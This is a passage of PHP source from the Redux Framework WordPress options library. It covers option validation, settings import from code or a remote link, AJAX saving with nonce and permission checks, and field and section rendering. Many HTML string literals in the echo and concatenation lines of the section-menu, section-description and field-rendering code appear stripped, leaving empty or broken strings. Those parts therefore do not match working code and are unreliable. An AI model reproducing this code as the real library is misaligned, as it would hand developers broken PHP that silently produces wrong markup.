{ continue; } $extension_class = 'ReduxFramework_Extension_' . $folder; /** * filter 'redux-extensionclass-load' * * @deprecated * * @param string extension class file path * @param string $extension_class extension class name */ $class_file = apply_filters( "redux-extensionclass-load", "$path/$folder/extension_{$folder}.php", $extension_class ); // REMOVE LATER /** * filter 'redux/extension/{opt_name}/{folder}' * * @param string extension class file path * @param string $extension_class extension class name */ $class_file = apply_filters( "redux/extension/{$this->args['opt_name']}/$folder", "$path/$folder/extension_{$folder}.php", $class_file ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once $class_file; $this->extensions[ $folder ] = new $extension_class ( $this ); } } } /** * action 'redux-register-extensions-{opt_name}' * * @deprecated * * @param object $this ReduxFramework */ do_action( "redux-register-extensions-{$this->args['opt_name']}", $this ); // REMOVE /** * action 'redux/extensions/{opt_name}' * * @param object $this ReduxFramework */ do_action( "redux/extensions/{$this->args['opt_name']}", $this ); if ( isset( $this->old_opt_name ) && ! empty( $this->old_opt_name ) ) { do_action( "redux/extensions/{$this->old_opt_name}", $this ); } } private function get_transients() { if ( ! isset ( $this->transients ) ) { $this->transients = get_option( $this->args['opt_name'] . '-transients', array() ); $this->transients_check = $this->transients; } } public function set_transients() { if ( ! isset ( $this->transients ) || ! isset ( $this->transients_check ) || $this->transients != $this->transients_check ) { update_option( $this->args['opt_name'] . '-transients', $this->transients ); $this->transients_check = $this->transients; } } /** * Validate the Options options before insertion * * @since 3.0.0 * @access public * * @param array $plugin_options The options array * * @return array|mixed|string|void */ public function _validate_options( $plugin_options ) { //print_r($plugin_options); // exit(); if ( isset ( $this->validation_ran ) ) { return $plugin_options; } $this->validation_ran = 1; // Save the values not in the panel if ( isset ( $plugin_options['redux-no_panel'] ) ) { $keys = explode( '|', $plugin_options['redux-no_panel'] ); foreach ( $keys as $key ) { $plugin_options[ $key ] = $this->options[ $key ]; } if ( isset ( $plugin_options['redux-no_panel'] ) ) { unset ( $plugin_options['redux-no_panel'] ); } } if ( ! empty ( $this->hidden_perm_fields ) && is_array( $this->hidden_perm_fields ) ) { foreach ( $this->hidden_perm_fields as $id => $data ) { $plugin_options[ $id ] = $data; } } if ( $plugin_options == $this->options ) { return $plugin_options; } $time = time(); // Sets last saved time $this->transients['last_save'] = $time; // Import if ( ( isset( $plugin_options['import_code'] ) && ! empty( $plugin_options['import_code'] ) ) || ( isset( $plugin_options['import_link'] ) && ! empty( $plugin_options['import_link'] ) ) ) { $this->transients['last_save_mode'] = "import"; // Last save mode $this->transients['last_compiler'] = $time; $this->transients['last_import'] = $time; $this->transients['run_compiler'] = 1; if ( $plugin_options['import_code'] != '' ) { $import = $plugin_options['import_code']; } elseif ( $plugin_options['import_link'] != '' ) { $import = wp_remote_retrieve_body( wp_remote_get( $plugin_options['import_link'] ) ); } if ( ! empty ( $import ) ) { $imported_options = json_decode( $import, true ); } if ( ! empty ( $imported_options ) && is_array( $imported_options ) && isset ( $imported_options['redux-backup'] ) && $imported_options['redux-backup'] == '1' ) { $this->transients['changed_values'] = array(); foreach ( $plugin_options as $key => $value ) { if ( isset ( $imported_options[ $key ] ) && $imported_options[ $key ] != $value ) { $this->transients['changed_values'][ $key ] = $value; $plugin_options[ $key ] = $value; } } /** * action 'redux/options/{opt_name}/import' * * @param &array [&$plugin_options, redux_options] */ do_action_ref_array( "redux/options/{$this->args['opt_name']}/import", array( &$plugin_options, $imported_options, $this->transients['changed_values'] ) ); setcookie( 'redux_current_tab', '', 1, '/', $time + 1000, "/" ); $_COOKIE['redux_current_tab'] = 1; unset ( $plugin_options['defaults'], $plugin_options['compiler'], $plugin_options['import'], $plugin_options['import_code'] ); if ( $this->args['database'] == 'transient' || $this->args['database'] == 'theme_mods' || $this->args['database'] == 'theme_mods_expanded' || $this->args['database'] == 'network' ) { $this->set_options( $plugin_options ); return; } $plugin_options = wp_parse_args( $imported_options, $plugin_options ); $this->set_transients(); // Update the transients return $plugin_options; } } // Reset all to defaults if ( ! empty ( $plugin_options['defaults'] ) ) { if ( empty ( $this->options_defaults ) ) { $this->options_defaults = $this->_default_values(); } /** * apply_filters 'redux/validate/{opt_name}/defaults' * * @param &array [ $this->options_defaults, $plugin_options] */ $plugin_options = apply_filters( "redux/validate/{$this->args['opt_name']}/defaults", $this->options_defaults ); $this->transients['changed_values'] = array(); if ( empty ( $this->options ) ) { $this->options = $this->options_defaults; } foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } $this->transients['run_compiler'] = 1; $this->transients['last_save_mode'] = "defaults"; // Last save mode //setcookie('redux-compiler-' . $this->args['opt_name'], 1, time() + 1000, "/"); //setcookie("redux-saved-{$this->args['opt_name']}", 'defaults', time() + 1000, "/"); $this->set_transients(); // Update the transients return $plugin_options; } // Section reset to defaults if ( ! empty ( $plugin_options['defaults-section'] ) ) { if ( isset ( $plugin_options['redux-section'] ) && isset ( $this->sections[ $plugin_options['redux-section'] ]['fields'] ) ) { /** * apply_filters 'redux/validate/{opt_name}/defaults_section' * * @param &array [ $this->options_defaults, $plugin_options] */ foreach ( $this->sections[ $plugin_options['redux-section'] ]['fields'] as $field ) { if ( isset ( $this->options_defaults[ $field['id'] ] ) ) { $plugin_options[ $field['id'] ] = $this->options_defaults[ $field['id'] ]; } else { $plugin_options[ $field['id'] ] = ""; } if ( isset ( $field['compiler'] ) ) { $compiler = true; } } $plugin_options = apply_filters( "redux/validate/{$this->args['opt_name']}/defaults_section", $plugin_options ); } $this->transients['changed_values'] = array(); foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } if ( isset ( $compiler ) ) { //$this->run_compiler = true; //setcookie('redux-compiler-' . $this->args['opt_name'], 1, time()+1000, '/'); //$plugin_options['REDUX_COMPILER'] = time(); $this->transients['last_compiler'] = $time; $this->transients['run_compiler'] = 1; } $this->transients['last_save_mode'] = "defaults_section"; // Last save mode //setcookie("redux-saved-{$this->args['opt_name']}", 'defaults_section', time() + 1000, "/"); unset ( $plugin_options['defaults'], $plugin_options['defaults_section'], $plugin_options['import'], $plugin_options['import_code'], $plugin_options['import_link'], $plugin_options['compiler'], $plugin_options['redux-section'] ); $this->set_transients(); return $plugin_options; } // if ($this->transients['last_save_mode'] != 'remove') { $this->transients['last_save_mode'] = "normal"; // Last save mode // } else { // $this->transients['last_save_mode'] = ''; // } /** * apply_filters 'redux/validate/{opt_name}/before_validation' * * @param &array [&$plugin_options, redux_options] */ $plugin_options = apply_filters( "redux/validate/{$this->args['opt_name']}/before_validation", $plugin_options, $this->options ); // Validate fields (if needed) $plugin_options = $this->_validate_values( $plugin_options, $this->options, $this->sections ); if ( ! empty ( $this->errors ) || ! empty ( $this->warnings ) ) { $this->transients['notices'] = array( 'errors' => $this->errors, 'warnings' => $this->warnings ); } /** * action 'redux-validate-{opt_name}' * * @deprecated * * @param &array [&$plugin_options, redux_options] */ do_action_ref_array( "redux-validate-{$this->args['opt_name']}", array( &$plugin_options, $this->options ) ); // REMOVE if ( ! isset ( $this->transients['changed_values'] ) ) { $this->transients['changed_values'] = array(); } /** * action 'redux/options/{opt_name}/validate' * * @param &array [&$plugin_options, redux_options] */ do_action_ref_array( "redux/options/{$this->args['opt_name']}/validate", array( &$plugin_options, $this->options, $this->transients['changed_values'] ) ); if ( ! empty ( $plugin_options['compiler'] ) ) { unset ( $plugin_options['compiler'] ); $this->transients['last_compiler'] = $time; $this->transients['run_compiler'] = 1; } $this->transients['changed_values'] = array(); // Changed values since last save if ( !empty( $this->options ) ) { foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } } unset ( $plugin_options['defaults'], $plugin_options['defaults_section'], $plugin_options['import'], $plugin_options['import_code'], $plugin_options['import_link'], $plugin_options['compiler'], $plugin_options['redux-section'] ); if ( $this->args['database'] == 'transient' || $this->args['database'] == 'theme_mods' || $this->args['database'] == 'theme_mods_expanded' ) { $this->set_options( $plugin_options ); return; } if ( defined( 'WP_CACHE' ) && WP_CACHE && class_exists( 'W3_ObjectCache' ) && function_exists( 'w3_instance' ) ) { //echo "here"; $w3_inst = w3_instance( 'W3_ObjectCache' ); $w3 = $w3_inst->instance(); $key = $w3->_get_cache_key( $this->args['opt_name'] . '-transients', 'transient' ); //echo $key; $w3->delete( $key, 'transient', true ); //set_transient($this->args['opt_name'].'-transients', $this->transients); //exit(); } $this->set_transients(); return $plugin_options; } public function ajax_save() { if ( ! wp_verify_nonce( $_REQUEST['nonce'], "redux_ajax_nonce" . $this->args['opt_name'] ) ) { echo json_encode( array( 'status' => __( 'Invalid security credential. Please reload the page and try again.', 'redux-framework' ), 'action' => '' ) ); die(); } if ( ! self::current_user_can( $this->args['page_permissions'] ) ) { echo json_encode( array( 'status' => __( 'Invalid user capability. Please reload the page and try again.', 'redux-framework' ), 'action' => '' ) ); die(); } $redux = ReduxFrameworkInstances::get_instance( $_POST['opt_name'] ); if ( ! empty ( $_POST['data'] ) && ! empty ( $redux->args['opt_name'] ) ) { $values = array(); //if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) { // $process = array(&$_GET, &$_POST, &$_COOKIE, &$_REQUEST); // while (list($key, $val) = each($process)) { // foreach ($val as $k => $v) { // unset($process[$key][$k]); // if (is_array($v)) { // $process[$key][stripslashes($k)] = $v; // $process[] = &$process[$key][stripslashes($k)]; // } else { // $process[$key][stripslashes($k)] = stripslashes($v); // } // } // } // unset($process); //} $_POST['data'] = stripslashes( $_POST['data'] ); // Old method of saving, in case we need to go back! - kp //parse_str( $_POST['data'], $values ); // New method to avoid input_var nonesense. Thanks @harunbasic $values = $this->redux_parse_str( $_POST['data'] ); $values = $values[ $redux->args['opt_name'] ]; if ( function_exists( 'get_magic_quotes_gpc' ) && get_magic_quotes_gpc() ) { $values = array_map( 'stripslashes_deep', $values ); } if ( ! empty ( $values ) ) { try { if ( isset ( $redux->validation_ran ) ) { unset ( $redux->validation_ran ); } $redux->set_options( $redux->_validate_options( $values ) ); $do_reload = false; if ( isset( $this->reload_fields ) && ! empty( $this->reload_fields ) ) { if ( ! empty( $this->transients['changed_values'] ) ) { foreach ( $this->reload_fields as $idx => $val ) { if ( array_key_exists( $val, $this->transients['changed_values'] ) ) { $do_reload = true; } } } } if ( $do_reload || ( isset ( $values['defaults'] ) && ! empty ( $values['defaults'] ) ) || ( isset ( $values['defaults-section'] ) && ! empty ( $values['defaults-section'] ) ) || ( isset ( $values['import_code'] ) && ! empty ($values['import_code']) ) || ( isset ( $values['import_link'] ) && ! empty ($values['import_link']) ) ) { echo json_encode( array( 'status' => 'success', 'action' => 'reload' ) ); die (); } require_once 'core/enqueue.php'; $enqueue = new reduxCoreEnqueue ( $redux ); $enqueue->get_warnings_and_errors_array(); $return_array = array( 'status' => 'success', 'options' => $redux->options, 'errors' => isset ( $redux->localize_data['errors'] ) ? $redux->localize_data['errors'] : null, 'warnings' => isset ( $redux->localize_data['warnings'] ) ? $redux->localize_data['warnings'] : null, ); } catch ( Exception $e ) { $return_array = array( 'status' => $e->getMessage() ); } } else { echo json_encode( array( 'status' => __( 'Your panel has no fields. Nothing to save.', 'redux-framework' ) ) ); } } if ( isset ( $this->transients['run_compiler'] ) && $this->transients['run_compiler'] ) { $this->no_output = true; $this->_enqueue_output(); try { /** * action 'redux-compiler-{opt_name}' * * @deprecated * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux-compiler-{$this->args['opt_name']}", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); // REMOVE /** * action 'redux/options/{opt_name}/compiler' * * @param array options * @param string CSS that get sent to the compiler hook */ do_action( "redux/options/{$this->args['opt_name']}/compiler", $this->options, $this->compilerCSS, $this->transients['changed_values'] ); /** * action 'redux/options/{opt_name}/compiler/advanced' * * @param array options * @param string CSS that get sent to the compiler hook, which sends the full Redux object */ do_action( "redux/options/{$this->args['opt_name']}/compiler/advanced", $this ); } catch ( Exception $e ) { $return_array = array( 'status' => $e->getMessage() ); } unset ( $this->transients['run_compiler'] ); $this->set_transients(); } if ( isset( $return_array ) ) { if ( $return_array['status'] == "success" ) { require_once 'core/panel.php'; $panel = new reduxCorePanel ( $redux ); ob_start(); $panel->notification_bar(); $notification_bar = ob_get_contents(); ob_end_clean(); $return_array['notification_bar'] = $notification_bar; } echo json_encode( apply_filters( "redux/options/{$this->args['opt_name']}/ajax_save/response", $return_array ) ); } die (); } /** * Validate values from options form (used in settings api validate function) * calls the custom validation class for the field so authors can override with custom classes * * @since 1.0.0 * @access public * * @param array $plugin_options * @param array $options * * @return array $plugin_options */ public function _validate_values( $plugin_options, $options, $sections ) { foreach ( $sections as $k => $section ) { if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $fkey => $field ) { if ( is_array( $field ) ) { $field['section_id'] = $k; } if ( isset ( $field['type'] ) && ( $field['type'] == 'checkbox' || $field['type'] == 'checkbox_hide_below' || $field['type'] == 'checkbox_hide_all' ) ) { if ( ! isset ( $plugin_options[ $field['id'] ] ) ) { $plugin_options[ $field['id'] ] = 0; } } // if ( isset ( $field['type'] ) && $field['type'] == 'typography' ) { // if ( ! is_array( $plugin_options[ $field['id'] ] ) && ! empty( $plugin_options[ $field['id'] ] ) ) { // $plugin_options[ $field['id'] ] = json_decode( $plugin_options[ $field['id'] ], true ); // } // } if ( isset( $this->extensions[ $field['type'] ] ) && method_exists( $this->extensions[ $field['type'] ], '_validate_values' ) ) { $plugin_options = $this->extensions[ $field['type'] ]->_validate_values( $plugin_options, $field, $sections ); } // Default 'not_empty 'flag to false. $isNotEmpty = false; // Make sure 'validate' field is set. if ( isset ( $field['validate'] ) ) { // Make sure 'validate field' is set to 'not_empty' or 'email_not_empty' //if ( $field['validate'] == 'not_empty' || $field['validate'] == 'email_not_empty' || $field['validate'] == 'numeric_not_empty' ) { if ( strtolower( substr( $field['validate'], - 9 ) ) == 'not_empty' ) { // Set the flag. $isNotEmpty = true; } } // Check for empty id value if ( ! isset ( $field['id'] ) || ! isset ( $plugin_options[ $field['id'] ] ) || ( isset ( $plugin_options[ $field['id'] ] ) && $plugin_options[ $field['id'] ] == '' ) ) { // If we are looking for an empty value, in the case of 'not_empty' // then we need to keep processing. if ( ! $isNotEmpty ) { // Empty id and not checking for 'not_empty. Bail out... if (!isset($field['validate_callback'])) { continue; } //continue; } } // Force validate of custom field types if ( isset ( $field['type'] ) && ! isset ( $field['validate'] ) && ! isset( $field['validate_callback'] ) ) { if ( $field['type'] == 'color' || $field['type'] == 'color_gradient' ) { $field['validate'] = 'color'; } elseif ( $field['type'] == 'date' ) { $field['validate'] = 'date'; } } if ( isset ( $field['validate'] ) ) { $validate = 'Redux_Validation_' . $field['validate']; if ( ! class_exists( $validate ) ) { /** * filter 'redux-validateclass-load' * * @deprecated * * @param string validation class file path * @param string $validate validation class name */ $class_file = apply_filters( "redux-validateclass-load", self::$_dir . "inc/validation/{$field['validate']}/validation_{$field['validate']}.php", $validate ); // REMOVE LATER /** * filter 'redux/validate/{opt_name}/class/{field.validate}' * * @param string validation class file path * @param string $class_file validation class file path */ $class_file = apply_filters( "redux/validate/{$this->args['opt_name']}/class/{$field['validate']}", self::$_dir . "inc/validation/{$field['validate']}/validation_{$field['validate']}.php", $class_file ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once $class_file; } } } if ( class_exists( $validate ) ) { //!DOVY - DB saving stuff. Is this right? if ( empty ( $options[ $field['id'] ] ) ) { $options[ $field['id'] ] = ''; } if ( isset ( $plugin_options[ $field['id'] ] ) && is_array( $plugin_options[ $field['id'] ] ) && ! empty ( $plugin_options[ $field['id'] ] ) ) { foreach ( $plugin_options[ $field['id'] ] as $key => $value ) { $before = $after = null; if ( isset ( $plugin_options[ $field['id'] ][ $key ] ) && ( ! empty ( $plugin_options[ $field['id'] ][ $key ] ) || $plugin_options[ $field['id'] ][ $key ] == '0' ) ) { if ( is_array( $plugin_options[ $field['id'] ][ $key ] ) ) { $before = $plugin_options[ $field['id'] ][ $key ]; } else { $before = trim( $plugin_options[ $field['id'] ][ $key ] ); } } if ( isset ( $options[ $field['id'] ][ $key ] ) && ( ! empty ( $plugin_options[ $field['id'] ][ $key ] ) || $plugin_options[ $field['id'] ][ $key ] == '0' ) ) { $after = $options[ $field['id'] ][ $key ]; } $validation = new $validate ( $this, $field, $before, $after ); if ( ! empty ( $validation->value ) || $validation->value == '0' ) { $plugin_options[ $field['id'] ][ $key ] = $validation->value; } else { unset ( $plugin_options[ $field['id'] ][ $key ] ); } if ( isset ( $validation->error ) ) { $this->errors[] = $validation->error; } if ( isset ( $validation->warning ) ) { $this->warnings[] = $validation->warning; } } } else { if ( isset( $plugin_options[ $field['id'] ] ) ) { if ( is_array( $plugin_options[ $field['id'] ] ) ) { $pofi = $plugin_options[ $field['id'] ]; } else { $pofi = trim( $plugin_options[ $field['id'] ] ); } } else { $pofi = null; } $validation = new $validate ( $this, $field, $pofi, $options[ $field['id'] ] ); $plugin_options[ $field['id'] ] = $validation->value; if ( isset ( $validation->error ) ) { $this->errors[] = $validation->error; } if ( isset ( $validation->warning ) ) { $this->warnings[] = $validation->warning; } } continue; } } if ( isset ( $field['validate_callback'] ) && ( is_callable( $field['validate_callback'] ) || ( is_string( $field['validate_callback'] ) && function_exists( $field['validate_callback'] ) ) ) ) { $callback = $field['validate_callback']; unset ( $field['validate_callback'] ); $plugin_option = isset( $plugin_options[ $field['id'] ] ) ? $plugin_options[ $field['id'] ] : null; $option = isset( $options[ $field['id'] ] ) ? $options[ $field['id'] ] : null; $callbackvalues = call_user_func( $callback, $field, $plugin_option, $option ); $plugin_options[ $field['id'] ] = $callbackvalues['value']; if ( isset ( $callbackvalues['error'] ) ) { $this->errors[] = $callbackvalues['error']; } // TODO - This warning message is failing. Hmm. // No it isn't. Problem was in the sample-config - kp if ( isset ( $callbackvalues['warning'] ) ) { $this->warnings[] = $callbackvalues['warning']; } } } } } return $plugin_options; } /** * Return Section Menu HTML * * @since 3.1.5 * @access public * @return void */ public function section_menu( $k, $section, $suffix = "", $sections = array() ) { $display = true; $section['class'] = isset ( $section['class'] ) ? ' ' . $section['class'] : ''; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $section['panel'] ) && $section['panel'] == false ) { $display = false; } } if ( ! $display ) { return ""; } if ( empty ( $sections ) ) { $sections = $this->sections; } $string = ""; if ( ( ( isset ( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) || ( isset ( $section['icon_type'] ) && $section['icon_type'] == 'image' ) ) || ( isset( $section['icon'] ) && strpos( $section['icon'], '/' ) !== false ) ) { //if( !empty( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) { $icon = ( ! isset ( $section['icon'] ) ) ? '' : ' '; } else { if ( ! empty ( $section['icon_class'] ) ) { $icon_class = ' ' . $section['icon_class']; } elseif ( ! empty ( $this->args['default_icon_class'] ) ) { $icon_class = ' ' . $this->args['default_icon_class']; } else { $icon_class = ''; } $icon = ( ! isset ( $section['icon'] ) ) ? ' ' : ' '; } if ( strpos( $icon, 'el-icon-' ) !== false ) { $icon = str_replace( 'el-icon-', 'el el-', $icon ); } $hide_section = ''; if ( isset ( $section['hidden'] ) ) { $hide_section = ( $section['hidden'] == true ) ? ' hidden ' : ''; } $canBeSubSection = ( $k > 0 && ( ! isset ( $sections[ ( $k ) ]['type'] ) || $sections[ ( $k ) ]['type'] != "divide" ) ) ? true : false; if ( ! $canBeSubSection && isset ( $section['subsection'] ) && $section['subsection'] == true ) { unset ( $section['subsection'] ); } if ( isset ( $section['type'] ) && $section['type'] == "divide" ) { $string .= '
  •  
  • '; } else if ( ! isset ( $section['subsection'] ) || $section['subsection'] != true ) { // DOVY! REPLACE $k with $section['ID'] when used properly. //$active = ( ( is_numeric($this->current_tab) && $this->current_tab == $k ) || ( !is_numeric($this->current_tab) && $this->current_tab === $k ) ) ? ' active' : ''; $subsections = ( isset ( $sections[ ( $k + 1 ) ] ) && isset ( $sections[ ( $k + 1 ) ]['subsection'] ) && $sections[ ( $k + 1 ) ]['subsection'] == true ) ? true : false; $subsectionsClass = $subsections ? ' hasSubSections' : ''; $subsectionsClass .= ( ! isset ( $section['fields'] ) || empty ( $section['fields'] ) ) ? ' empty_section' : ''; $extra_icon = $subsections ? ' ' : ''; //var_dump($section); $string .= ''; } return $string; } // section_menu() /** * HTML OUTPUT. * * @since 1.0.0 * @access public * @return void */ public function generate_panel() { require_once 'core/panel.php'; $panel = new reduxCorePanel ( $this ); $panel->init(); $this->set_transients(); } /** * Section HTML OUTPUT. * * @since 1.0.0 * @access public * * @param array $section * * @return void */ public function _section_desc( $section ) { $id = rtrim( $section['id'], '_section' ); $id = str_replace($this->args['opt_name'], '', $id); if ( isset ( $this->sections[ $id ]['desc'] ) && ! empty ( $this->sections[ $id ]['desc'] ) ) { echo '
    ' . $this->sections[ $id ]['desc'] . '
    '; } } /** * Field HTML OUTPUT. * Gets option from options array, then calls the specific field type class - allows extending by other devs * * @since 1.0.0 * * @param array $field * @param string $v * * @return void */ public function _field_input( $field, $v = null ) { if ( isset ( $field['callback'] ) && ( is_callable( $field['callback'] ) || ( is_string( $field['callback'] ) && function_exists( $field['callback'] ) ) ) ) { $value = ( isset ( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : ''; /** * action 'redux-before-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field.id */ do_action( "redux-before-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/callback/before' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/callback/before", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/callback/before' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/callback/before", array( &$field, &$value ) ); call_user_func( $field['callback'], $field, $value ); /** * action 'redux-after-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field.id */ do_action( "redux-after-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/callback/after' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/callback/after", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/callback/after' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/callback/after", array( &$field, &$value ) ); return; } if ( isset ( $field['type'] ) ) { // If the field is set not to display in the panel $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $field['panel'] ) && $field['panel'] == false ) { $display = false; } } if ( ! $display ) { return; } $field_class = "ReduxFramework_{$field['type']}"; if ( ! class_exists( $field_class ) ) { // $class_file = apply_filters( 'redux/field/class/'.$field['type'], self::$_dir . 'inc/fields/' . $field['type'] . '/field_' . $field['type'] . '.php', $field ); // REMOVE /** * filter 'redux/{opt_name}/field/class/{field.type}' * * @param string field class file path * @param array $field field data */ $class_file = apply_filters( "redux/{$this->args['opt_name']}/field/class/{$field['type']}", self::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once $class_file; } } } if ( class_exists( $field_class ) ) { $value = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : ''; if ( $v != null ) { $value = $v; } /** * action 'redux-before-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field id */ do_action( "redux-before-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/render/before' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/render/before", array( &$field, &$value ) ); /** * action 'redux/field/{$this->args['opt_name']}/render/before' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/render/before", array( &$field, &$value ) ); if ( ! isset ( $field['name_suffix'] ) ) { $field['name_suffix'] = ""; } $render = new $field_class ( $field, $value, $this ); ob_start(); $render->render(); /* echo "
    ";
                          print_r($value);
                          echo "
    "; */ /** * filter 'redux-field-{opt_name}' * * @deprecated * * @param string rendered field markup * @param array $field field data */ $_render = apply_filters( "redux-field-{$this->args['opt_name']}", ob_get_contents(), $field ); // REMOVE /** * filter 'redux/field/{opt_name}/{field.type}/render/after' * * @param string rendered field markup * @param array $field field data */ $_render = apply_filters( "redux/field/{$this->args['opt_name']}/{$field['type']}/render/after", $_render, $field ); /** * filter 'redux/field/{opt_name}/render/after' * * @param string rendered field markup * @param array $field field data */ $_render = apply_filters( "redux/field/{$this->args['opt_name']}/render/after", $_render, $field ); ob_end_clean(); //save the values into a unique array in case we need it for dependencies $this->fieldsValues[ $field['id'] ] = ( isset ( $value['url'] ) && is_array( $value ) ) ? $value['url'] : $value; //create default data und class string and checks the dependencies of an object $class_string = ''; $data_string = ''; $this->check_dependencies( $field ); /** * action 'redux/field/{opt_name}/{field.type}/fieldset/before/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/fieldset/before/{$this->args['opt_name']}", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/fieldset/before/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/fieldset/before/{$this->args['opt_name']}", array( &$field, &$value ) ); //if ( ! isset( $field['fields'] ) || empty( $field['fields'] ) ) { $hidden = ''; if ( isset ( $field['hidden'] ) && $field['hidden'] ) { $hidden = 'hidden '; } if ( isset( $field['full_width'] ) && $field['full_width'] == true ) { $class_string .= "redux_remove_th"; } if ( isset ( $field['fieldset_class'] ) && ! empty( $field['fieldset_class'] ) ) { $class_string .= ' ' . $field['fieldset_class']; } echo '
    '; //} echo $_render; if ( ! empty ( $field['desc'] ) ) { $field['description'] = $field['desc']; } echo ( isset ( $field['description'] ) && $field['type'] != "info" && $field['type'] !== "section" && ! empty ( $field['description'] ) ) ? '
    ' . $field['description'] . '
    ' : ''; //if ( ! isset( $field['fields'] ) || empty( $field['fields'] ) ) { echo '
    '; //} /** * action 'redux-after-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field id */ do_action( "redux-after-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'redux/field/{opt_name}/{field.type}/fieldset/after/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/{$field['type']}/fieldset/after/{$this->args['opt_name']}", array( &$field, &$value ) ); /** * action 'redux/field/{opt_name}/fieldset/after/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "redux/field/{$this->args['opt_name']}/fieldset/after/{$this->args['opt_name']}", array( &$field, &$value ) ); } } } // _field_input() /** * Can Output CSS * Check if a field meets its requirements before outputting to CSS * * @param $field * * @return bool */ public function _can_output_css( $field ) { $return = true; $field = apply_filters( "redux/field/{$this->args['opt_name']}/_can_output_css", $field ); if ( isset ( $field['force_output'] ) && $field['force_output'] == true ) { return $return; } if ( ! empty ( $field['required'] ) ) { if ( isset ( $field['required'][0] ) ) { if ( ! is_array( $field['required'][0] ) && count( $field['required'] ) == 3 ) { $parentValue = isset($GLOBALS[ $this->args['global_variable'] ][ $field['required'][0] ]) ? $GLOBALS[ $this->args['global_variable'] ][ $field['required'][0] ] : ''; $checkValue = $field['required'][2]; $operation = $field['required'][1]; $return = $this->compareValueDependencies( $parentValue, $checkValue, $operation ); } else if ( is_array( $field['required'][0] ) ) { foreach ( $field['required'] as $required ) { if ( ! is_array( $required[0] ) && count( $required ) == 3 ) { $parentValue = $GLOBALS[ $this->args['global_variable'] ][ $required[0] ]; $checkValue = $required[2]; $operation = $required[1]; $return = $this->compareValueDependencies( $parentValue, $checkValue, $operation ); } if ( ! $return ) { return $return; } } } } } return $return; } // _can_output_css /** * Checks dependencies between objects based on the $field['required'] array * If the array is set it needs to have exactly 3 entries. * The first entry describes which field should be monitored by the current field. eg: "content" * The second entry describes the comparison parameter. eg: "equals, not, is_larger, is_smaller ,contains" * The third entry describes the value that we are comparing against. * Example: if the required array is set to array('content','equals','Hello World'); then the current * field will only be displayed if the field with id "content" has exactly the value "Hello World" * * @param array $field * * @return array $params */ public function check_dependencies( $field ) { //$params = array('data_string' => "", 'class_string' => ""); if ( isset( $field['ajax_save'] ) && $field['ajax_save'] == false ) { $this->reload_fields[] = $field['id']; } if ( ! empty ( $field['required'] ) ) { if ( ! isset ( $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ] = array(); } if ( ! isset ( $this->required[ $field['id'] ] ) ) { $this->required[ $field['id'] ] = array(); } if ( is_array( $field['required'][0] ) ) { foreach ( $field['required'] as $value ) { if ( is_array( $value ) && count( $value ) == 3 ) { $data = array(); $data['parent'] = $value[0]; $data['operation'] = $value[1]; $data['checkValue'] = $value[2]; $this->required[ $data['parent'] ][ $field['id'] ][] = $data; if ( ! in_array( $data['parent'], $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ][] = $data; } $this->checkRequiredDependencies( $field, $data ); } } } else { $data = array(); $data['parent'] = $field['required'][0]; $data['operation'] = $field['required'][1]; $data['checkValue'] = $field['required'][2]; $this->required[ $data['parent'] ][ $field['id'] ][] = $data; if ( ! in_array( $data['parent'], $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ][] = $data; } $this->checkRequiredDependencies( $field, $data ); } } //return $params; } // Compare data for required field private function 